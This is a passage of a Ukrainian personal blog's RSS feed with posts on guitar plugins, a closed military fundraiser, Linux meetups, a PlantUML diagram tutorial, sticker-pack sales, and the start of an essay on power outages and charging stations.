		<pubDate>Mon, 11 Aug 2025 02:04:31 +0300</pubDate>
		
		<guid>https://miliukhin.xyz/articles/guitar-plugins-are-for-nerds/</guid>
		<description>&lt;p&gt;Раніше я грав на гітарі через комп&amp;rsquo;ютер і дуже часто змінював свій тон різними гітарними плагінами.
Я навіть колись уклав список &lt;a href=&#34;https://miliukhin.xyz/progs/#%d0%bc%d1%83%d0%b7%d0%b8%d0%ba%d0%b0&#34;&gt;плагінів для гітари&lt;/a&gt;, і хочу зараз зробити цю ремарку, бо відчуваю, що рекомендація гітарних плагінів декому може дати поштовх у хибному напрямі, адже жоден із цих плагінів я більше не використовую. Чому ж?&lt;/p&gt;
&lt;h2 id=&#34;1-мазохістичне-гітарування-на-компютері&#34;&gt;1. Мазохістичне гітарування на комп&amp;rsquo;ютері&lt;/h2&gt;
&lt;p&gt;Гітарні плагіни придатні тільки для реампінгу. Грати через комп&amp;rsquo;ютер дуже незручно через галіму &lt;a href=&#34;https://miliukhin.xyz/articles/latency/&#34;&gt;затримку&lt;/a&gt;. Якісь швидкі пасажі стає просто неможливо грати. Той, хто захищає комп&amp;rsquo;ютери і каже, що тепер (завдяки потужним комп&amp;rsquo;ютерам) затримка &amp;ldquo;майже не відчувається&amp;rdquo;, пускає вам (і собі) пил в очі, тому що сам просто звик грати з затримкою. Звикати до затримки шкідливо та не потрібно, коли можна купити якийсь підсилювач або гітарний процесор і насолоджуватися грою.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ти кажеш на комп&amp;rsquo;ютері затримка і радиш гітарний процесор, хоча це теж комп&amp;rsquo;ютер!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Різниця в тому, що це комп&amp;rsquo;ютер спеціально для обробки гітари, і він не перевантажений іншими програмами. На гітарному процесорі зазвичай встановлена операційна система, призначена саме для обробки аудіо в реальному часі. Крім того, я сам досягав дуже маловідчутної затримки гітари на комп&amp;rsquo;ютері (і я впевнений, що ті, хто заявляє про &amp;ldquo;невідчутну затримку&amp;rdquo;, навіть близько на своїх віндовсах не досягали, що я досяг ледь не перетворивши свій Artix Linux на систему реального часу), але порівняно з окремим процесором цей результат все одно жалюгідний, а ще (що важливіше) у вас на комп&amp;rsquo;ютері по-любому будуть запущені інші плагіни, і використання всіх їх разом змусить вас самовільно збільшити затримку. Якщо хочете перетворити свій комп&amp;rsquo;ютер на гітарний процесор, валяйте, але більше нічого він робити в такому випадку не буде.&lt;/p&gt;
&lt;p&gt;Крім цього, вам щоб пограти на гітарі, постійно треба буде запускати комп&amp;rsquo;ютер, а коли захочеться прийти до когось поджемити, прийдеться волокти і комп, і гітару, і звукову карту, і колонки, якщо на базі нема, і потім усе це незручно під&amp;rsquo;єднувати, коли можна взяти просто гітару й підсилювач.&lt;/p&gt;
&lt;h2 id=&#34;2-аудіофільське-задротство-в-пошуках-ідеального-тону&#34;&gt;2. Аудіофільське задротство в пошуках &amp;ldquo;ідеального тону&amp;rdquo;&lt;/h2&gt;
&lt;p&gt;Ну і з іншого боку гітарні плагіни (особливо надпотужні AI-плагіни з міріадами моделей тонів у репозиторіях) сприяють і так нестримному бажанню гітарних задротів відшукати так званий &amp;ldquo;ідеальний тон&amp;rdquo;, який нібито повинен магічним чином зробити їх такими ж крутими, як легендарні гітаристи (ВОООООО ЩА СКАЧАЮ ІМПУЛЬСИ ДРІМ ТЕАТР І ЗАПИЛЮ ЯК ДЖОН ПЕТРУЧЧІ, ага). Ідеального тону насправді не існує, але знають це тільки ті, хто замість трати часу на його пошуки реально вчаться грати на гітарі і стають як не легендарними, то просто крутими гітаристами.&lt;/p&gt;
&lt;p&gt;Це не для того щоб сказати, що тон гітари не має значення. Звісно, має. Гітара повинна звучати красиво (хоча це теж залежить від ситуації, тоді скажем що гітара має звучати доречно). Але в більшості випадків вона вже звучить красиво, хіба треба еквалайзером де-не-де підправити, і не потрібно витрачати уйму часу на підбір тону. Особливо якщо ви тільки починаєте займатись на гітарі, то найважливіше, на чому треба зосередитись&amp;mdash;це саме навчання гри на гітарі. А тут дійсно є чому вчитися.&lt;/p&gt;
&lt;p&gt;Кроч, не витрачайте час на фігню. Качайте навички, а не плагіни.&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>❗ Збір ❗</title>
		<link>https://miliukhin.xyz/updates/a4934/</link>
		<pubDate>Sat, 24 May 2025 01:13:05 +0300</pubDate>
		
		<guid>https://miliukhin.xyz/updates/a4934/</guid>
		<description>&lt;p&gt;Тут ми скидуємось на авто для військової частини А4934, яка наразі виконує бойові задачі на східному напрямку.
В ній служить мій близький родич, і я буду дуже вам вдячний, якщо ви підтримаєте цей збір.&lt;/p&gt;
&lt;p&gt;Мета - зібрати 210 тисяч на авто (4×4 чи вантажне з високим кліренсом, дизель). Щоб закрити цей збір (а вже давнооооо пора), &lt;strong&gt;лишилося всього 29 тисяч. Так шо ПАДНАЖМЬОООМ!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ось куди донатити:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;💳 &lt;a href=&#34;https://send.monobank.ua/jar/7QDdfAHWa4&#34;&gt;https://send.monobank.ua/jar/7QDdfAHWa4&lt;/a&gt;. 4441111124315478&lt;/li&gt;
&lt;li&gt;UA913220010000026207357378216&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Буду вдячний також якщо поширите.&lt;/p&gt;
&lt;p&gt;P.S.: Збір закритий. Дякую всім за підтримку!&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Я буду на FSC Lviv 18 Травня</title>
		<link>https://miliukhin.xyz/updates/i-will-be-at-fsc-lviv-2025/</link>
		<pubDate>Mon, 12 May 2025 00:00:00 +0000</pubDate>
		
		<guid>https://miliukhin.xyz/updates/i-will-be-at-fsc-lviv-2025/</guid>
		<description>&lt;p&gt;Я презентуватиму на Free Software Conference у Львові.
Вона відбудеться 18 Травня, вже цієї неділі.&lt;/p&gt;
&lt;p&gt;Якщо ви думали, чим би зайнятися в неділю, то ось вам відповідь.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.fsf.org/events/community-meetup-lviv-ukraine&#34;&gt;https://www.fsf.org/events/community-meetup-lviv-ukraine&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ред.: Опублікував запис своєї презентації &lt;a href=&#34;https://www.youtube.com/watch?v=SyhHGnMY1o0&#34;&gt;https://www.youtube.com/watch?v=SyhHGnMY1o0&lt;/a&gt; .&lt;/strong&gt;&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>РАПТОВИЙ Запуск Biolabs.In.UA</title>
		<link>https://miliukhin.xyz/updates/biolabs.in.ua/</link>
		<pubDate>Sun, 02 Mar 2025 00:40:15 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/updates/biolabs.in.ua/</guid>
		<description>&lt;p&gt;Бац. &lt;a href=&#34;https://biolabs.in.ua/&#34;&gt;https://biolabs.in.ua/&lt;/a&gt; Це пошуковик справжніх українських сайтів, які ви ніяк більше не знайдете.&lt;/p&gt;
&lt;p&gt;А ще до нього кожен може запропонувати додати сайт. Круто ж! Тому якщо маєте що підкинути, вам &lt;a href=&#34;https://biolabs.in.ua/submit/&#34;&gt;сюди&lt;/a&gt;.
А якщо хочете більше дізнатись про пошуковик &amp;mdash; &lt;a href=&#34;https://biolabs.in.ua/about/&#34;&gt;сюди&lt;/a&gt;.&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>PlantUML ТРОЩИТЬ Draw.IO і ЧАТГОПОТУ</title>
		<link>https://miliukhin.xyz/articles/plantuml-gigagrams/</link>
		<pubDate>Sat, 08 Feb 2025 22:32:44 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/articles/plantuml-gigagrams/</guid>
		<description>&lt;p&gt;Відеоверсію статті можна подивитись тут:
&lt;iframe src=&#34;https://www.youtube.com/embed/BQ5xZ1z7iwA&#34;
        loading=&#34;lazy&#34;
        sandbox=&#34;allow-same-origin allow-scripts allow-popups&#34;
        allowfullscreen frameborder=&#34;0&#34;
        title=&#34;Embedded Video&#34;&gt;
&lt;/iframe&gt;
&lt;/p&gt;
&lt;p&gt;Діаграми дуже корисні, особливо для роботи в команді, хоча часом допомагають і самому собі нагадати принципи роботи власної системи.
І для створення діаграм я дуже часто користуюся мовою розмітки PlantUML й зараз буду вас її навчати.&lt;/p&gt;
&lt;p&gt;Раніше я користувався Draw.IO, але це просто муки пекельні, я не знаю, як цим лагучим недосервісом можна всерйоз послуговуватись.
І зробити діаграму незграбними рухами мишки дезорієнтивним вебінтерфейсом це ще пів біди &amp;mdash;
як тільки ж у діаграмі Draw.IO потрібно буде щось змінити, вам захочеться плакати від цього всього біснуватого дьоргання та перетягування ламаних кривих. А от PlantUML:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Професійно виглядає&lt;/li&gt;
&lt;li&gt;Легко писати &amp;mdash; синтаксис елементарний, самі побачите (звісно, ще легше у Vim).&lt;/li&gt;
&lt;li&gt;Компілюється в багато форматів (PNG, SVG, PDF, навіть \LaTeX )&lt;/li&gt;
&lt;li&gt;Просто поширювати й редагувати в команді:
&lt;ul&gt;
&lt;li&gt;Файли можна піддати контролю версій, наприклад, за допомогою git.&lt;/li&gt;
&lt;li&gt;Остання теза ще впотужнюється тим, що в Gitlab та інші сервіси інтегрована можливість відображення діаграм на місці блоків коду PlantUML.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Зберігається локально. Це важливіше, ніж вам зумерам здається. У мене пару разів тупо зависав draw.io і я мусив робити все заново. З PlantUML я ніколи так не попадусь: навіть якщо мій власний комп&amp;rsquo;ютер раптово вимкнеться чи безнадійно зависне (дуже малоймовірно), залишиться свап-файл віму, з якого я зможу відновити свою роботу.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;І не треба писати мені, що &amp;ldquo;ШІ вже давно РОБИТЬ ДІАГРАМИ і скоро ВСІХ ЗАМІНИТЬ!!&amp;rdquo; &amp;mdash; ШІ робить фігню, а не діаграми. І їх ви взагалі редагувати не можете.&lt;/p&gt;
&lt;p&gt;Але це стосується картинок. Насправді ж від нього можна отримати адекватні діаграми &amp;mdash; як не дивно, згенерувавши код PlantUML.&lt;/p&gt;
&lt;p&gt;Ось корисні ресурси, з якими ви швидко опануєте PlantUML:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://plantuml.com/&#34;&gt;https://plantuml.com/&lt;/a&gt; &amp;mdash; сайт PlantUML. Читайте мовну довідку, доступну на цьому сайті.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://real-world-plantuml.com&#34;&gt;https://real-world-plantuml.com&lt;/a&gt; &amp;mdash; тут багато прикладів діаграм.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://crashedmind.github.io/PlantUMLHitchhikersGuide/&#34;&gt;https://crashedmind.github.io/PlantUMLHitchhikersGuide/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Окей, погнали.&lt;/p&gt;
&lt;h2 id=&#34;як-поставити-й-компілювати-діаграми&#34;&gt;Як поставити й компілювати діаграми&lt;/h2&gt;
&lt;p&gt;Ви можете робити діаграми навіть у браузері (на сайті PlantUML.com), але
я раджу вам завантажити PlantUML. Вона важить всього кілька мегабайтів.
Ви можете поставити її улюбленим менеджером пакунків чи скачати з сайту.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;[sasha@muse ~]$ pacman -S plantuml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Якщо ви хочете компілювати PDF, то потрібно скачати іншу збірку PlantUML, спеціальну для експорту PDF. Інструкції є на сайті, а якщо ви користуєтесь Arch Linux, то в AUR є пакунок &lt;code&gt;plantuml-pdf&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;До речі, про компіляцію: просто даємо plantuml шлях до файлу з розміткою:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;[sasha@muse ~/puml]$ plantuml wbs.puml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Але для початку нам треба щось написати. Нехай це буде WBS.&lt;/p&gt;
&lt;p&gt;А і ще: Якщо ви користувач Vim, то можете поставити собі &lt;a href=&#34;https://github.com/aklt/plantuml-syntax&#34;&gt;файл синтаксису PlantUML&lt;/a&gt;, хоча тут усе так просто пишеться, що й уві сні не загубишся.&lt;/p&gt;
&lt;h2 id=&#34;верстаєм&#34;&gt;Верстаєм&lt;/h2&gt;
&lt;p&gt;WBS &amp;mdash; це діаграма для розбиття якоїсь великої задачі на дрібні підзадачі, які легко організувати, відслідкувати та виконати.
Під час побудови спираємось на правило 100% &amp;mdash; задачі нижчого рівня в сумі утворюють 100% задачі вищого рівня.&lt;/p&gt;
&lt;p&gt;Наприклад, створімо WBS створення відео для каналу на YouTube.
Якби ми були модним ютубером, то він виглядав би так:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;@startwbs
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;* Відеопродакшн
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;** планування
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;*** брейнстормити трендові ідеї, \n на які клюнуть норміси
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;*** написати сценарій
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;*** відрепетирувати
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;** запис відео
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;*** намалюватись
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;*** поїхати на студію
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;*** виставити світлолампочки
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;*** зачитати сценарій на камеру
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;** монтаж відео
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;*** вирізати бекання та мекання (чорноробота)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;*** припорошити відеоряд ефектами \n й модними переходами
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;*** нарізати вирізки для тіктока
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;** підготовка до публікації
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;*** створити клікбейтну прев&amp;#39;юшку
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;*** провести рекламну кампанію \n в ТЕЛЕГРАМ-КАНАЛІ
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;*** купити рекламу в розетка юа
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;*** викласти вирізки в тікток
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;** публікація
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;*** завантажити відео
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;*** прем&amp;#39;єра на ютубе
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;@endwbs
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure
	&gt;
		&lt;img src=&#34;https://miliukhin.xyz/img/wbs.png&#34;&gt;&lt;/figure&gt;

&lt;p&gt;Але в нас тут працює трошки інша модель:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;@startuml
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;start
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;:написати сценарій?;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;repeat
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;:записати відео;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;repeat while (Норм?) is (Ні) not (Перемога)
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;stop
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;@enduml
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure
	&gt;
		&lt;img src=&#34;https://miliukhin.xyz/img/prodloop.png&#34;&gt;&lt;/figure&gt;

&lt;p&gt;Круть! Мова настільки проста, що навіть пояснювати нічого не треба.
Що за що відповідає видно з першого погляду!&lt;/p&gt;
&lt;h2 id=&#34;стилювання&#34;&gt;Стилювання&lt;/h2&gt;
&lt;p&gt;Якщо вам ці діаграми здаються якимись хмурими, то не проблема:
діаграми PlantUML можна по-різному стилювати.&lt;/p&gt;
&lt;p&gt;Мені подобається користуватися скінами:
я просто пишу, наприклад, &lt;code&gt;skin rose&lt;/code&gt;
і отримую прекрасні діаграми.&lt;/p&gt;

&lt;figure
	&gt;
		&lt;img src=&#34;https://miliukhin.xyz/img/prodloop-rose.png&#34;&gt;&lt;/figure&gt;

&lt;p&gt;Але це не єдиний метод стилювання.
У PlantUML ще є купа готових тем, синтаксис ужитку такий:
&lt;code&gt;!theme назва-теми&lt;/code&gt;. Дивіться сайт PlantUML за темами.
Також можна користуватись CSS, але власноруч оформляти кожен елемент діаграми &amp;mdash; задротство, тож я не буду це показувати.&lt;/p&gt;
&lt;p&gt;Також ви можете по-різному форматувати текст:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Цей текст **жирний**
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Цей //курсивом//
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Цей &amp;#34;&amp;#34;моноширинний&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Цей --викреслений--
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Цей __підкреслений__
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Цей ~~підкреслений хвилькою~~
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  Це просто &amp;lt;:sunglasses:&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;І додавати картинки таким чином:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;img:шлях/до/картинки.кек&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&#34;звісно-це-далеко-не-все&#34;&gt;Звісно, це далеко не все&lt;/h2&gt;
&lt;p&gt;В цьому посібнику я охопив дрібнесеньку частку PlantUML, щоб організувати вам швидкий старт і ви перестали мучитись із draw.io. Але мова здатна на багато більше.
До речі, я казав, що тут можна верстати математику LaTeX-ом?
А можна. Так як можна й багато інших безмежно крутих речей,
тому раджу прошерстити добре сайти, на які я послався на початку:
ніколи не знаєте, які корисності знайдете на тій чи іншій сторінці!&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Нові стікерпаки вже можна замовляти</title>
		<link>https://miliukhin.xyz/updates/librepack-2/</link>
		<pubDate>Fri, 07 Feb 2025 22:22:13 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/updates/librepack-2/</guid>
		<description>&lt;p&gt;До речі, скрафтив модну &lt;a href=&#34;https://miliukhin.xyz/merch/&#34;&gt;сторінку-вітрину&lt;/a&gt;, щоб зручно розмістити все це добро.&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Завтра (8 Лютого) Стрім на YouTube</title>
		<link>https://miliukhin.xyz/updates/saturday-night-live/</link>
		<pubDate>Fri, 07 Feb 2025 21:59:19 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/updates/saturday-night-live/</guid>
		<description>&lt;p&gt;Стрімитиму на YouTube завтра о 19:00.&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Тепер у НУ &#34;ЛП&#34; є LUG</title>
		<link>https://miliukhin.xyz/updates/gnu-lp/</link>
		<pubDate>Thu, 30 Jan 2025 23:15:50 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/updates/gnu-lp/</guid>
		<description>&lt;p&gt;І заодно модний &lt;a href=&#34;https://lug-lp.org&#34;&gt;сайт&lt;/a&gt;.
Наступні оголошення зустрічей та інша активність лінуксоїдів Львова буде публікуватись на ньому.&lt;/p&gt;
&lt;p&gt;Також я підняв там сервер XMPP для тих, хто не має реального життя й хоче чатитись із рандомами в неті.&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Скоро Нове Зібрання Лінукс Юзерів &#34;Львівської Політехніки&#34;</title>
		<link>https://miliukhin.xyz/updates/lug-lp-meetup/</link>
		<pubDate>Sat, 18 Jan 2025 13:48:29 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/updates/lug-lp-meetup/</guid>
		<description>&lt;p&gt;Буде 26 січня. За деталями пишіть мені.&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Терміново! Зібрання Linux-братії Львова</title>
		<link>https://miliukhin.xyz/updates/linux_gathering/</link>
		<pubDate>Wed, 11 Dec 2024 13:49:33 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/updates/linux_gathering/</guid>
		<description>&lt;p&gt;Організовую вже цієї п&amp;rsquo;ятниці зібрання користувачів Linux у Львові.
Можете приходити й без лінукса.
Будемо підписувати ключі шифрування, і не тільки.&lt;/p&gt;
&lt;p&gt;Якщо бажаєте долучитися, сконтактуйтесь зі мною!&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Передзамовлення стікерпаків відкрите!</title>
		<link>https://miliukhin.xyz/updates/librepack/</link>
		<pubDate>Tue, 19 Nov 2024 21:07:35 +0200</pubDate>
		
		<guid>https://miliukhin.xyz/updates/librepack/</guid>
		<description>
&lt;figure
	class=&#34;center&#34;&gt;
		&lt;img src=&#34;https://miliukhin.xyz/img/merch/buy_librepack.webp&#34;&gt;&lt;/figure&gt;

&lt;h2 id=&#34;популяризуйте-цифрову-свободу-смішними-стікерами&#34;&gt;Популяризуйте цифрову свободу смішними стікерами!&lt;/h2&gt;
&lt;p&gt;Оцінив пробний друк свого стікерпака. Констатую, що він готовий до масового друку! Тому&amp;hellip;&lt;/p&gt;
&lt;p&gt;Тепер ви можете прикрасити свій ноутбук, кота чи будь-що інше
цим стікерпаком та весело популяризувати рух за цифрову свободу!&lt;/p&gt;
&lt;h2 id=&#34;як-замовити&#34;&gt;Як замовити?&lt;/h2&gt;
&lt;p&gt;Стікерпаки &lt;em&gt;&lt;strong&gt;полімерні&lt;/strong&gt;&lt;/em&gt; формату А5.&lt;/p&gt;
&lt;p&gt;Ціна: &lt;strong&gt;₴191&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Щоб замовити, &lt;a href=&#34;https://miliukhin.xyz/contact/&#34;&gt;пишіть мені&lt;/a&gt;!&lt;/strong&gt;
Приймаю фіатні гроші, BTC та XMR.&lt;/p&gt;

&lt;figure
	&gt;
		&lt;img src=&#34;https://miliukhin.xyz/img/merch/librepack1.jpg&#34;&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;Стартуєм, Як тільки замовлення покриють ціну друку партії. Замовляйте!&lt;/strong&gt;&lt;/p&gt;
</description>
	</item>
	
	<item>
		<title>Обривання проводів проти центрального електро-недоживлення</title>
		<link>https://miliukhin.xyz/articles/make_your_electricity/</link>
		<pubDate>Sun, 28 Jul 2024 15:42:19 +0300</pubDate>
		
		<guid>https://miliukhin.xyz/articles/make_your_electricity/</guid>
		<description>&lt;p&gt;Якщо ви хочете справжньої зручності та незалежності, то вам треба
відмовитись від центрального постачання електроенергії.&lt;/p&gt;
&lt;h2 id=&#34;система-слабка&#34;&gt;Система слабка&lt;/h2&gt;

&lt;figure
	&gt;
		&lt;img src=&#34;https://miliukhin.xyz/img/electropryshch.webp&#34;&gt;&lt;/figure&gt;

&lt;p&gt;Як і будь-яка велика система з купою віддалених залежностей,
які вона не в змозі нормально контролювати, централізована електромережа
нестійка.
Це ми спостерігаємо це вже другий рік, коли наше виробництво електроенергії постійно
під ударами кацапів (та й їхнє під нашими теж) і в обох країнах ввели
відключення світла, щоб компенсувати нестачу продукції.&lt;/p&gt;
&lt;p&gt;Різні люди по-різному вирішили (чи ні) для себе проблему відключень
електрики. Досить популярним рішенням стало накопичення в акумуляторах чи зарядних станціях.
Але це погане рішення!&lt;/p&gt;
&lt;h2 id=&#34;зарядні-станції-гойські&#34;&gt;Зарядні станції гойські&lt;/h2&gt;
&lt;h3 id=&#34;вони-розряджають-енергосистему&#34;&gt;Вони розряджають енергосистему&lt;/h3&gt;
&lt;p&gt;Таке &amp;ldquo;рішення&amp;rdquo; проблеми ще більше нашкодить і так хиткій системі, бо
тут втрати енергії на кожному кроці:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;перетворення змінного струму (AC) на постійний (DC) для зарядки акумулятора;&lt;/li&gt;
&lt;li&gt;втрати, залежні від ефективності акумулятора;&lt;/li&gt;
&lt;li&gt;втрати від перетворення постійного струму на змінний для живлення через
інвертор. Якісні інвертори мають ККД більше 90%, якщо використовуються на
повну. &lt;em&gt;Але чим менше навантаження, тим вони менш ефективні&lt;/em&gt;. Під кожен прилад
окремий інвертор ніхто, звісно, не підбирає.&lt;/li&gt;
&lt;li&gt;втрата від перетворення змінного струму з інвертора на постійний (5-15%).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Останніх двох втрат можна уникнути, якщо живити тільки пристрої постійного струму напряму
від акумулятора чи через перетворювач/стабілізатор напруги DC-DC (якщо потрібен, а зазвичай потрібен) або модний
кабель для живлення роутера, який насправді чисте кидалово, бо це просто
&lt;a href=&#34;../router_cable&#34;&gt;дешевий перетворювач напруги зі шматком дроту, проданий утридорога&lt;/a&gt;. Але втрат
від перетворення AC на DC під час зарядки акумулятора від розетки та булькання в ньому ніяк не
уникнути.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Як не дивно, відключення електроенергії збільшують її споживання. Тож
накопичення мережевої енергії це ще один удар у спину нашої й так хиткої
системи електрохарчування. Він мало відчувається тільки тому, що людей, які
під&amp;rsquo;єднали до акумуляторів через інвертор усю хату, досить мало, а то ми б уже
мали світло по годині на місяць, що приводить нас до другого підводного камня:&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&#34;вони-не-зможуть-зарядитись-від-неї-потім&#34;&gt;Вони не зможуть зарядитись від неї потім&lt;/h3&gt;
&lt;p&gt;Із цим уже багато хто стикався, але це видно й без практичного досвіду: якщо ви
